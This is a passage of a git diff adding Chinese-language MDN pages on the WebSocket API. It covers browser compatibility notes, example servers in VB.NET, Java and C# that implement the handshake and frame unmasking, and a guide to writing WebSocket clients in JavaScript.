Version -76 support {{obsolete_inline}}6{{CompatNo}}{{CompatGeckoDesktop("2.0")}}{{CompatNo}}11.00 (disabled)5.0.1
Protocol version 7 support {{obsolete_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("6.0")}}
+ {{property_prefix("Moz")}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}
Protocol version 10 support {{obsolete_inline}}14{{CompatNo}}{{CompatGeckoDesktop("7.0")}}
+ {{property_prefix("Moz")}}
HTML5 Labs{{CompatUnknown}}{{CompatUnknown}}
Standard - RFC 6455 Support16{{CompatVersionUnknown}}{{CompatGeckoDesktop("11.0")}}1012.106.0
Usable in Workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("37.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Version -76 support {{obsolete_inline}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Protocol version 7 support {{obsolete_inline}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Protocol version 8 support (IETF draft 10) {{obsolete_inline}}{{CompatUnknown}}{{CompatNo}}{{CompatGeckoMobile("7.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Standard - RFC 6455 Support4.4{{CompatVersionUnknown}}{{CompatGeckoDesktop("11.0")}}{{CompatUnknown}}12.106.0
Usable in Workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Gecko notes

+ +

Firefox中的WebSocket支持正在继续跟踪WebSocket规范的发展。Firefox 6实现了底层协议的version 7,而Firefox 7实现了version 8(如IETF draft 10所指定的)。Firefox移动版在Firefox7.0支持WebSocket。

+ +

Gecko 6.0

+ +

在Gecko 6.0 {{geckoRelease("6.0")}}之前,一些网站认为WebSocket对象是错误的,意味着WebSocket服务没有前缀,此对象已重命名为MozWebSocket

+ +

Gecko 7.0

+ +

从Gecko 7.0 {{geckoRelease("7.0")}}中开始,network.websocket.max-connections是用于确定每次可以打开的WebSocket连接的最大数量的最大连接首选项。默认值是200。

+ +

Gecko 8.0

+ +

从Gecko 8.0 {{geckoRelease("8.0")}}中开始,WebSocket协议的deflate-stream扩展已经被禁用,因为它已经在规范草案中废弃了。这解决了某些站点的不兼容性问题。

+ +

Gecko 11.0

+ +

在Gecko 11.0之前,传入和传出消息的大小都限制在16MB。它们现在的大小可能高达 2 GB 。然而,请注意,内存限制(尤其是在移动设备上)使其成为理论上的最大限制,而不是实际的最大限制。实际上,在没有足够内存的设备上,这种大小的传输将会失败。

+ +

此外,ArrayBuffer对二进制数据的收发支持已经实现。

+ +


+ 从Gecko 11.0开始,WebSocket API不需要前缀。

diff --git a/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html b/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html new file mode 100644 index 0000000000..3969f9c5ea --- /dev/null +++ b/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html @@ -0,0 +1,270 @@ +--- +title: WebSocket Server Vb.NET +slug: Web/API/WebSockets_API/WebSocket_Server_Vb.NET +translation_of: Web/API/WebSockets_API/WebSocket_Server_Vb.NET +--- +

{{gecko_minversion_header("2")}}{{draft}}

+ +

下面的示例没有优化。没有使用 .NET 4.5 Websocket。
+
+ 当前版本:

+ + + +

 

+ +
Imports System.Net.Sockets
+Imports System.Net
+Imports System
+Imports System.Text
+Imports System.Text.RegularExpressions
+
+
+Namespace TypeDef.WebSocket
+
+    Public Class Client
+        Dim _TcpClient As System.Net.Sockets.TcpClient
+
+        Public Delegate Sub OnClientDisconnectDelegateHandler()
+        Public Event onClientDisconnect As OnClientDisconnectDelegateHandler
+
+
+        Sub New(ByVal tcpClient As System.Net.Sockets.TcpClient)
+            Me._TcpClient = tcpClient
+        End Sub
+
+
+        Function isConnected() As Boolean
+            Return Me._TcpClient.Connected
+        End Function
+
+
+        Sub HandShake()
+            Dim stream As NetworkStream = Me._TcpClient.GetStream()
+            Dim bytes As Byte()
+            Dim data As String
+
+            While Me._TcpClient.Connected
+                While (stream.DataAvailable)
+                    ReDim bytes(Me._TcpClient.Client.Available)
+                    stream.Read(bytes, 0, bytes.Length)
+                    data = System.Text.Encoding.UTF8.GetString(bytes)
+
+                    If (New System.Text.RegularExpressions.Regex("^GET").IsMatch(data)) Then
+
+                        Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" & Environment.NewLine & "Connection: Upgrade" & Environment.NewLine & "Upgrade: websocket" & Environment.NewLine & "Sec-WebSocket-Accept: " & Convert.ToBase64String(System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(New Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups(1).Value.Trim() & "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))) & Environment.NewLine & Environment.NewLine)
+
+                        stream.Write(response, 0, response.Length)
+                        Exit Sub
+                    Else
+                        'We're going to disconnect the client here, because he's not handshacking properly (or at least to the scope of this code sample)
+                        Me._TcpClient.Close() 'The next While Me._TcpClient.Connected Loop Check should fail.. and raise the onClientDisconnect Event Thereafter
+                    End If
+                End While
+            End While
+            RaiseEvent onClientDisconnect()
+        End Sub
+
+
+        Sub CheckForDataAvailability()
+            If (Me._TcpClient.GetStream().DataAvailable) Then
+                Dim stream As NetworkStream = Me._TcpClient.GetStream()
+                Dim frameCount = 2
+                Dim bytes As Byte()
+                Dim data As String
+                ReDim bytes(Me._TcpClient.Client.Available)
+                stream.Read(bytes, 0, bytes.Length) 'Read the stream, don't close it..
+
+                Try
+                    Dim length As UInteger = bytes(1) - 128 'this should obviously be a byte (unsigned 8bit value)
+
+                    If length > -1 Then
+                        If length = 126 Then
+                            length = 4
+                        ElseIf length = 127 Then
+                            length = 10
+                        End If
+                    End If
+
+                    'the following is very inefficient and likely unnecessary..
+                    'the main purpose is to just get the lower 4 bits of byte(0) - which is the OPCODE
+
+                    Dim value As Integer = bytes(0)
+                    Dim bitArray As BitArray = New BitArray(8)
+
+                    For c As Integer = 0 To 7 Step 1
+                        If value - (2 ^ (7 - c)) >= 0 Then
+                            bitArray.Item(c) = True
+                            value -= (2 ^ (7 - c))
+                        Else
+                            bitArray.Item(c) = False
+                        End If
+                    Next
+
+
+                    Dim FRRR_OPCODE As String = ""
+
+                    For Each bit As Boolean In bitArray
+                        If bit Then
+                            FRRR_OPCODE &= "1"
+                        Else
+                            FRRR_OPCODE &= "0"
+                        End If
+                    Next
+
+
+                    Dim FIN As Integer = FRRR_OPCODE.Substring(0, 1)
+                    Dim RSV1 As Integer = FRRR_OPCODE.Substring(1, 1)
+                    Dim RSV2 As Integer = FRRR_OPCODE.Substring(2, 1)
+                    Dim RSV3 As Integer = FRRR_OPCODE.Substring(3, 1)
+                    Dim opCode As Integer = Convert.ToInt32(FRRR_OPCODE.Substring(4, 4), 2)
+
+
+
+                    Dim decoded(bytes.Length - (frameCount + 4)) As Byte
+                    Dim key As Byte() = {bytes(frameCount), bytes(frameCount+1), bytes(frameCount+2), bytes(frameCount+3)}
+
+                    Dim j As Integer = 0
+                    For i As Integer = (frameCount + 4) To (bytes.Length - 2) Step 1
+                        decoded(j) = Convert.ToByte((bytes(i) Xor masks(j Mod 4)))
+                        j += 1
+                    Next
+
+
+
+                    Select Case opCode
+                        Case Is = 1
+                            'Text Data Sent From Client
+
+                            data = System.Text.Encoding.UTF8.GetString(decoded)
+                            'handle this data
+
+                            Dim Payload As Byte() = System.Text.Encoding.UTF8.GetBytes("Text Recieved")
+                            Dim FRRROPCODE As Byte() = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text
+                            Dim header as byte() = {FRRROPCODE, Convert.ToByte(Payload.Length)}
+
+
+                            Dim ResponseData As Byte()
+                            ReDim ResponseData((header.length + Payload.Length) - 1)
+                            'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data..
+                            'which tells the client that your next stream write will be a continuation frame..
+
+                            Dim index as integer = 0
+
+                            Buffer.BlockCopy(header, 0, ResponseData, index, header.length)
+                            index += header.length
+
+                            Buffer.BlockCopy(payload, 0, ResponseData, index, payload.length)
+                            index += payload.length
+                            stream.Write(ResponseData, 0, ResponseData.Length)
+                      Case Is = 2
+                            '// Binary Data Sent From Client
+                            data = System.Text.Encoding.UTF8.GetString(decoded)
+                            Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("Binary Recieved")
+                             stream.Write(response, 0, response.Length)
+                      Case Is = 9 '// Ping Sent From Client
+                      Case Is = 10 '// Pong Sent From Client
+                      Case Else '// Improper opCode.. disconnect the client
+                            _TcpClient.Close()
+                            RaiseEvent onClientDisconnect()
+                      End Select
+                Catch ex As Exception
+                    _TcpClient.Close()
+                    RaiseEvent onClientDisconnect()
+                End Try
+            End If
+        End Sub
+    End Class
+
+
+
+    Public Class Server
+        Inherits System.Net.Sockets.TcpListener
+
+        Delegate Sub OnClientConnectDelegate(ByVal sender As Object, ByRef Client As WebSocket.Client)
+        Event OnClientConnect As OnClientConnectDelegate
+
+
+        Dim WithEvents PendingCheckTimer As Timers.Timer = New Timers.Timer(500)
+        Dim WithEvents ClientDataAvailableTimer As Timers.Timer = New Timers.Timer(50)
+        Property ClientCollection As List(Of WebSocket.Client) = New List(Of WebSocket.Client)
+
+
+
+        Sub New(ByVal url As String, ByVal port As Integer)
+            MyBase.New(IPAddress.Parse(url), port)
+        End Sub
+
+
+        Sub startServer()
+            Me.Start()
+            PendingCheckTimer.Start()
+        End Sub
+
+
+
+        Sub Client_Connected(ByVal sender As Object, ByRef client As WebSocket.Client) Handles Me.OnClientConnect
+            Me.ClientCollection.Add(client)
+            AddHandler client.onClientDisconnect, AddressOf Client_Disconnected
+            client.HandShake()
+            ClientDataAvailableTimer.Start()
+        End Sub
+
+
+        Sub Client_Disconnected()
+
+        End Sub
+
+
+        Function isClientDisconnected(ByVal client As WebSocket.Client) As Boolean
+            isClientDisconnected = False
+            If Not client.isConnected Then
+                Return True
+            End If
+        End Function
+
+
+        Function isClientConnected(ByVal client As WebSocket.Client) As Boolean
+            isClientConnected = False
+            If client.isConnected Then
+                Return True
+            End If
+        End Function
+
+
+        Private Sub PendingCheckTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles PendingCheckTimer.Elapsed
+            If Pending() Then
+                RaiseEvent OnClientConnect(Me, New CORE.TypeDef.WebSocket.Client(Me.AcceptTcpClient()))
+            End If
+        End Sub
+
+
+        Private Sub ClientDataAvailableTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles ClientDataAvailableTimer.Elapsed
+            Me.ClientCollection.RemoveAll(AddressOf isClientDisconnected)
+            If Me.ClientCollection.Count < 1 Then ClientDataAvailableTimer.Stop()
+
+            For Each Client As WebSocket.Client In Me.ClientCollection
+                Client.CheckForDataAvailability()
+            Next
+        End Sub
+    End Class
+End Namespace
+
+Sub Main()  'Program Entry point
+    Dim thread As System.Threading.Thread = New System.Threading.Thread(AddressOf StartWebSocketServer)
+    'Application.Add("WebSocketServerThread", thread) 'Global.asax - context.Application .. I left this part in for web application developers
+    thread.Start()
+End Sub
+
+Public Shared WebSocketServer As TypeDef.WebSocket.Server
+Public Shared Sub StartWebSocketServer()
+    WebSocketServer = New TypeDef.WebSocket.Server("127.0.0.1", 8000)
+    WebSocketServer.startServer()
+End Sub
+
diff --git a/files/zh-cn/web/api/websockets_api/writing_a_websocket_server_in_java/index.html b/files/zh-cn/web/api/websockets_api/writing_a_websocket_server_in_java/index.html new file mode 100644 index 0000000000..b2d4814299 --- /dev/null +++ b/files/zh-cn/web/api/websockets_api/writing_a_websocket_server_in_java/index.html @@ -0,0 +1,201 @@ +--- +title: Writing a WebSocket server in Java +slug: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java +translation_of: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java +--- +

引言

+ +

你可以通过这个例子知道如何用甲骨文的Java语言来创建一个WebSocket服务。
+
+ 虽然其他的服务端语言也能创建WebSocket服务,但是通过这个例子你可以看到使用Java来做这件事会更简单。

+ +

这个服务符合协议RFC 6455, 所以它只处理Chrome版本16,Firefox 11,IE 10及更高版本的连接。

+ +

第一步

+ +

WebSocket通过TCP(传输控制协议)通信. Java的ServerSocket 类位于java.net包中。

+ +

ServerSocket

+ +

构造器:

+ +

ServerSocket(int port)

+ +

实例化ServerSocket类时,它将绑定到port参数指定的端口号。

+ +

实现代码片段一:

+ +
import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.Base64;
+import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class WebSocket {
+	public static void main(String[] args) throws IOException, NoSuchAlgorithmException {
+		ServerSocket server = new ServerSocket(80);
+		try {
+			System.out.println("Server has started on 127.0.0.1:80.\r\nWaiting for a connection...");
+			Socket client = server.accept();
+			System.out.println("A client connected.");
+ +

Socket

+ +

方法:

+ + + +

OutputStream

+ +

方法:

+ +

write(byte[] b, int off, int len)

+ +

将从数组b中的下标off开始的len个字节写入此输出流。

+ +

InputStream

+ +

方法:

+ +

int read(byte[] b, int off, int len)

+ +

将输入流中最多 len 个字节写入byte[] b,写入起始下标为off。尝试读取多达 len 字节,但可能读取较少数量。以整数形式返回实际读取的字节数。

+ +

代码片段二:

+ +
InputStream in = client.getInputStream();
+			OutputStream out = client.getOutputStream();
+			Scanner s = new Scanner(in, "UTF-8");
+ +

握手

+ +

当客户端连接到服务器时,它会发送GET请求以从简单的HTTP请求升级到WebSocket的连接。这被称为握手。

+ +
try {
+				String data = s.useDelimiter("\\r\\n\\r\\n").next();
+				Matcher get = Pattern.compile("^GET").matcher(data);
+ +

创建响应比理解为什么必须以这种方式来创建响应更容易。

+ +

你必须:

+ +
    +
  1. 获取Sec-WebSocket-Key请求标头的值,去除头部和尾部的所有空格
  2. +
  3. 追加字符串"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
  4. +
  5. 使用SHA-1计算拿到结果值并进行Base64编码
  6. +
  7. 将其作为HTTP响应的一部分写回Sec-WebSocket-Accept响应头的值
  8. +
+ +
if (get.find()) {
+					Matcher match = Pattern.compile("Sec-WebSocket-Key: (.*)").matcher(data);
+					match.find();
+					byte[] response = ("HTTP/1.1 101 Switching Protocols\r\n"
+						+ "Connection: Upgrade\r\n"
+						+ "Upgrade: websocket\r\n"
+						+ "Sec-WebSocket-Accept: "
+						+ Base64.getEncoder().encodeToString(MessageDigest.getInstance("SHA-1").digest((match.group(1) + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").getBytes("UTF-8")))
+						+ "\r\n\r\n").getBytes("UTF-8");
+					out.write(response, 0, response.length);
+ +

解码消息

+ +

握手成功后,客户端可以向服务器发送消息,但现在这些已经过编码的消息需要解码。

+ +

如果客户端发送 "abcdef",我们会拿到这些字节数据:

+ + + + + + + + + + + + + + + + + + +
129134167225225210198131130182194135
+ +

- 129:

+ + + + + + + + + + + + + + + + + + + + +
FIN (消息是完整的吗?)RSV1RSV2RSV3Opcode
10000x1=0001
+ +

FIN: 你可以分多次发送一个完整的消息。但现在为了简单,操作码0x1表示这是一个完整的消息。 Full list of Opcodes

+ +

- 134:

+ +

如果第二个字节减去128在0到125之间,则这是消息的长度。 如果是126,则后面的2个字节(16位无符号整数),如果是127,则后面的8个字节(64位无符号整数,最高有效位必须为0)是长度。

+ +
+

我可以拿128,因为第一位总是1。

+
+ +

- 167, 225, 225 和 210 是要解码的密钥key的字节。它每次都在变化。

+ +

- 剩余的编码字节是消息数据部分。

+ +

解码算法

+ +

decoded[i] = (byte) (encoded[i] ^ key[i & 0x3]);

+ +

Java例子:

+ +
byte[] decoded = new byte[6];
+					byte[] encoded = new byte[] { (byte) 198, (byte) 131, (byte) 130, (byte) 182, (byte) 194, (byte) 135 };
+					byte[] key = new byte[] { (byte) 167, (byte) 225, (byte) 225, (byte) 210 };
+					for (int i = 0; i < encoded.length; i++) {
+						decoded[i] = (byte) (encoded[i] ^ key[i & 0x3]);
+					}
+				}
+			} finally {
+				s.close();
+			}
+		} finally {
+			server.close();
+		}
+	}
+}
+ +

相关链接

+ + + +
diff --git a/files/zh-cn/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/zh-cn/web/api/websockets_api/writing_websocket_client_applications/index.html new file mode 100644 index 0000000000..c5fefb2336 --- /dev/null +++ b/files/zh-cn/web/api/websockets_api/writing_websocket_client_applications/index.html @@ -0,0 +1,186 @@ +--- +title: 编写WebSocket客户端应用 +slug: Web/API/WebSockets_API/Writing_WebSocket_client_applications +tags: + - WebSocket + - 指南 +translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications +--- +

WebSocket客户端应用程序使用WebSocket API通过WebSocket协议与WebSocket服务器通信。

+ +

{{AvailableInWorkers}}

+ +
+

本文中的示例代码片段来自我们的 WebSocket 聊天应用示例,源代码在此处,then 也可以在这里试一试。现在示例中有一个 bug,使用不安全的 WebSockets 连接需要更新使用安全的 WebSocket,我们将很快修复。

+
+ +

创建 WebSocket 对象

+ +

为了使用 WebSocket 协议通信,你需要创建一个 WebSocket 对象;这将会自动地尝试建立与服务器的连接。

+ +

WebSocket 构造函数接受一个必要参数和一个可选参数:

+ +
WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+ +
+
url
+
要连接的URL;这应当是 WebSocket  服务器会响应的URL。
+
protocols {{ optional_inline() }}
+
一个协议字符串或一个协议字符串数组。这些字符串用来指定子协议,这样一个服务器就可以实现多个WebSocket子协议(比如你可能希望一个服务器可以根据指定的 protocol 来应对不同的互动情况)。如果不指定协议字符串则认为是空字符串。
+
+ +

构造函数可能抛出以下异常:

+ +
+
SECURITY_ERR
+
尝试连接的端口被阻塞。
+
+ +
+
+ +

连接错误

+ +

如果尝试连接过程中发生错误,那么首先一个名为 "error" 的事件会被发送给 WebSocket 对象(然后调用其onerror handler),然后 CloseEvent 被发送给WebSocket  (然后调用其 onclose handler)以说明连接关闭的原因。

+ +

在 Firefox 11 中,通常会从 Mozilla 平台的控制台中收到一个描述性的错误信息,以及一个通过 CloseEvent 在 RFC 6455, Section 7.4 中定义的错误代码。

+ +

示例

+ +

本例创建了一个新的 WebSocket,连接到地址为 ws://www.example.com/socketserver 的服务器。请求中命名了一个自定义的协议 "protocolOne",这一部分可以省略。

+ +
var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
+
+ +

返回后,exampleSocket.readyState 参数为 CONNECTING。一旦连接可以传送数据,readyState 就会变成 OPEN 。

+ +

如果你想建立一个支持协议可选的连接,你可以指定协议的列表:

+ +
var exampleSocket = new WebSocket("ws://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
+
+ +

一旦连接建立了(也就是说 readyState 是 OPEN) exampleSocket.protocol 就会告诉你服务器选择了哪个协议。

+ +

上面的例子中 ws 替代了 http,同样地 wss 也会替代https. 建立WebSocket链接有赖于 HTTP Upgrade mechanism, 所以当我们使用 ws://www.example.com或者 wss://www.example.com来访问HTTP服务器的时候协议会隐式地升级。

+ +

向服务器发送数据

+ +

一旦你的连接打开完成,你就可以向服务器发送数据了。对每一个要发送的消息使用 WebSocket 对象的 send() 方法:

+ +
exampleSocket.send("Here's some text that the server is urgently awaiting!");
+
+ +

你可以把数据作为字符串,{{ domxref("Blob") }},或者ArrayBuffer来发送。

+ +
注意: 在版本11之前,Firefox只支持以字符串的形式发送数据。
+ +

因为连接的建立是异步的,而且容易失败,所以不能保证刚创建WebSocket对象时使用 send() 方法会成功。我们至少可以确定企图在链接建立起来之后立马发送数据,可以通过注册 onopen 事件处理器解决:

+ +
exampleSocket.onopen = function (event) {
+  exampleSocket.send("Here's some text that the server is urgently awaiting!");
+};
+
+ +

使用 JSON 发送对象

+ +

你可以方便地使用JSON 来向服务器发送复杂一些的数据。例如一个聊天程序与服务器交互的协议可以通过封装在JSON里的数据来实现:

+ +
// 服务器向所有用户发送文本
+function sendText() {
+  // 构造一个 msg 对象, 包含了服务器处理所需的数据
+  var msg = {
+    type: "message",
+    text: document.getElementById("text").value,
+    id:   clientID,
+    date: Date.now()
+  };
+
+  // 把 msg 对象作为JSON格式字符串发送
+  exampleSocket.send(JSON.stringify(msg));
+
+  // 清空文本输入元素,为接收下一条消息做好准备。
+  document.getElementById("text").value = "";
+}
+
+ +

接收服务器发送的消息

+ +

WebSockets 是一个基于事件的 API;收到消息的时候,一个 "message" 消息会被发送到 onmessage 函数。为了开始监听传入数据,可以进行如下操作:

+ +
exampleSocket.onmessage = function (event) {
+  console.log(event.data);
+}
+
+ +

接受与解析 JSON 对象

+ +

考虑在 {{ anch("Using JSON to transmit objects") }}中提到的聊天应用客户端。客户端会收到各种类型的数据包,比如:

+ + + +

解析这些收到的消息的代码可能是这样的:

+ +
exampleSocket.onmessage = function(event) {
+  var f = document.getElementById("chatbox").contentDocument;
+  var text = "";
+  var msg = JSON.parse(event.data);
+  var time = new Date(msg.date);
+  var timeStr = time.toLocaleTimeString();
+
+  switch(msg.type) {
+    case "id":
+      clientID = msg.id;
+      setUsername();
+      break;
+    case "username":
+      text = "<b>User <em>" + msg.name + "</em> signed in at " + timeStr + "</b><br>";
+      break;
+    case "message":
+      text = "(" + timeStr + ") <b>" + msg.name + "</b>: " + msg.text + "<br>";
+      break;
+    case "rejectusername":
+      text = "<b>Your username has been set to <em>" + msg.name + "</em> because the name you chose is in use.</b><br>"
+      break;
+    case "userlist":
+      var ul = "";
+      for (i=0; i < msg.users.length; i++) {
+        ul += msg.users[i] + "<br>";
+      }
+      document.getElementById("userlistbox").innerHTML = ul;
+      break;
+  }
+
+  if (text.length) {
+    f.write(text);
+    document.getElementById("chatbox").contentWindow.scrollByPages(1);
+  }
+};
+ +

这里我们使用 JSON.parse() 来将JSON转换回原始对象,然后检查并根据其内容做下一步动作。

+ +

文本数据的格式

+ +

通过WebSocket连接收到的文本是 UTF-8 格式的。

+ +

在 Gecko 9.0 {{ geckoRelease("9.0") }} 之前,一部分有效的 UTF-8 文本中的非字符将导致连接被中断。现在 Gecko 已经允许这些值。

+ +

关闭连接

+ +

当你不需要再用 WebSocket 连接了,调用 WebSocket close()方法:

+ +
exampleSocket.close();
+
+ +

关闭连接前最好检查一下 socket 的 bufferedAmount 属性,以防还有数据要传输。

+ +

安全方面的考虑

+ +

WebSocket 不应当用于混合的上下文环境;也就是说,不应该在用HTTPS加载的页面中打开非安全版本的WebSocket,反之亦然。而实际上一些浏览器也明确禁止这一行为,包括 Firefox 8 及更高版本。

diff --git a/files/zh-cn/web/api/websockets_api/writing_websocket_server/index.html b/files/zh-cn/web/api/websockets_api/writing_websocket_server/index.html new file mode 100644 index 0000000000..dbc31715ae --- /dev/null +++ b/files/zh-cn/web/api/websockets_api/writing_websocket_server/index.html @@ -0,0 +1,273 @@ +--- +title: 用C#来编写WebSocket服务器 +slug: Web/API/WebSockets_API/Writing_WebSocket_server +tags: + - HTML5 + - NeedsMarkupWork + - Tutorial + - WebSockets +translation_of: Web/API/WebSockets_API/Writing_WebSocket_server +--- +

介绍

+ +

如果你想学习如何使用 WebSocket API,那么有一台服务器将会是非常有用的。在本文中,我将向你展示如何使用C#来写后端。你可以使用任何可用于后端开发的语言来做这个事, 但是,要为了使例子简明易懂,我选择微软的C#。

+ +

此服务器符合 RFC 6455 因此,因此它只处理来自 Chrome16,Firefox 11,IE 10 及更高版本的连接。

+ +

第一步

+ +

WebSockets 通过 TCP (传输控制协议) 连接进行通信.。幸运的是, C# 中有一个 TcpListener 类。 它位于 System.Net.Sockets 的命名空间。

+ +
+

最好使用 using 关键字来包含命名空间,这样在你写代码的时候就不需要指定详细的命名空间。

+
+ +

TcpListener

+ +

构造函数:

+ +
TcpListener(System.Net.IPAddress localaddr, int port)
+ +

localaddr 是监听地址,  port 是监听端口.

+ +
+

如果字符串创建 IPAddress 对象,请使用 Parse静态方法。

+
+ +

方法:

+ + + +

下面是基于服务端的实现:

+ +
​using System.Net.Sockets;
+using System.Net;
+using System;
+
+class Server {
+    public static void Main() {
+        TcpListener server = new TcpListener(IPAddress.Parse("127.0.0.1"), 80);
+
+        server.Start();
+        Console.WriteLine("Server has started on 127.0.0.1:80.{0}Waiting for a connection...", Environment.NewLine);
+
+        TcpClient client = server.AcceptTcpClient();
+
+        Console.WriteLine("A client connected.");
+    }
+}
+
+ +

TcpClient

+ +

方法:

+ + + +

属性:

+ + + +

NetworkStream

+ +

方法:

+ + + +

让我们扩充一下我们的示例.

+ +
TcpClient client = server.AcceptTcpClient();
+
+Console.WriteLine("A client connected.");
+
+NetworkStream stream = client.GetStream();
+
+//enter to an infinite cycle to be able to handle every change in stream
+while (true) {
+    while (!stream.DataAvailable);
+
+    Byte[] bytes = new Byte[client.Available];
+
+    stream.Read(bytes, 0, bytes.Length);
+}
+ +

握手

+ +

当一个客户端连接到服务器时,它会发送一个GET请求将现在一个简单的HTTP请求升级为一个WebSocket请求。这被称为握手。

+ +

下面是一段检测从客户端发来的GET请求的代码。需要注意的是,下面的程序在没有收到消息开头的3个有效字节前将处于阻塞状态。在生产环境下,应该考虑使用可用于替代的解决方案。

+ +
using System.Text;
+using System.Text.RegularExpressions;
+
+while(client.Available < 3)
+{
+   // wait for enough bytes to be available
+}
+
+Byte[] bytes = new Byte[client.Available];
+
+stream.Read(bytes, 0, bytes.Length);
+
+//translate bytes of request to string
+String data = Encoding.UTF8.GetString(bytes);
+
+if (Regex.IsMatch(data, "^GET")) {
+
+} else {
+
+}
+ +

回应的消息很容易构造,但是可能会有一点难以理解。完整的关于服务器握手的解释可以在 RFC 6455, section 4.2.2 找到。从我们的目的出发,我们将构造一个简单的回应消息。

+ +

你必须:

+ +
    +
  1. 获取请求头中"Sec-WebSocket-Key"字段的值,这个字段值不能有任何的前导和后继空格字符
  2. +
  3. 将它与"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"(一个 RFC 6455 中规定的特殊的 GUID )拼接起来
  4. +
  5. 计算新的值的 SHA-1 和 Base64 哈希值
  6. +
  7. 将哈希值写回到一个HTTP响应头,作为"Sec-WebSocket-Accept"字段的值
  8. +
+ +

+if (new System.Text.RegularExpressions.Regex("^GET").IsMatch(data))
+{
+    const string eol = "\r\n"; // HTTP/1.1 defines the sequence CR LF as the end-of-line marker
+
+    Byte[] response = Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" + eol
+        + "Connection: Upgrade" + eol
+        + "Upgrade: websocket" + eol
+        + "Sec-WebSocket-Accept: " + Convert.ToBase64String(
+            System.Security.Cryptography.SHA1.Create().ComputeHash(
+                Encoding.UTF8.GetBytes(
+                    new System.Text.RegularExpressions.Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups[1].Value.Trim() + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
+                )
+            )
+        ) + eol
+        + eol);
+
+    stream.Write(response, 0, response.Length);
+}
+
+ +

解密消息

+ +

在一次成功的握手之后,客户端将向服务器发送加密后的消息

+ +

如果我们发送了 "MDN",那么我们会得到下面这些字节:

+ + + + + + + + + + + + + + + +
129131618435611216109
+ +

让我们看看这些字节意味着什么。

+ +

第一个字节,当前值是129,是按位组成的,分解如下:

+ + + + + + + + + + + + + + + + + + + + +
FIN (Bit 0)RSV1 (Bit 1)RSV2 (Bit 2)RSV3 (Bit 3)Opcode (Bit 4:7)
10000x1=0001
+ + + +

第二个字节,当前值是131,是另一个按位组成的部分,分解如下:

+ + + + + + + + + + + + + + +
MASK (Bit 0)Payload Length (Bit 1:7)
10x83=0000011
+ + + +
+

因为在客户端到服务器的消息中第一位总是1,所以你可以将这个字节减去128去除 MASK 位。

+
+ +

需要注意的是MASK位在我们的消息中被置为1。这意味着接下来的4个字节(61, 84, 35, 6) 是用于解码消息的掩码字节。这些字节在每个消息中都不是固定不变的。

+ +

剩下的字节是加密后的消息载荷。

+ +

解密算法

+ +

Di = Ei XOR M(i mod 4)

+ +

D 是解密后的消息数组, E 是被加密的消息数组, M 是掩码字节数组, i 是需要解密的消息字节的序号。

+ +

C# 示例:

+ +
Byte[] decoded = new Byte[3];
+Byte[] encoded = new Byte[3] {112, 16, 109};
+Byte[] mask = new Byte[4] {61, 84, 35, 6};
+
+for (int i = 0; i < encoded.Length; i++) {
+    decoded[i] = (Byte)(encoded[i] ^ mask[i % 4]);
+}
+ +

有关文档

+ + + +
 
diff --git a/files/zh-cn/web/api/websockets_api/writing_websocket_servers/index.html b/files/zh-cn/web/api/websockets_api/writing_websocket_servers/index.html new file mode 100644 index 0000000000..8f602c8247 --- /dev/null +++ b/files/zh-cn/web/api/websockets_api/writing_websocket_servers/index.html @@ -0,0 +1,244 @@ +--- +title: 编写 WebSocket 服务器 +slug: Web/API/WebSockets_API/Writing_WebSocket_servers +tags: + - Ping & Pong + - Pings和Pongs:WebSockets的心跳 + - WebSocket + - WebSockets 心跳 +translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers +--- +

WebSocket服务器是一个TCP应用程序,监听服务器上任何遵循特定协议的端口,就这么简单。创建自定义服务器的任务往往听起来很吓人,然而,在您选择的平台上实现一个简单的WebSocket服务器是很容易的。

+ +

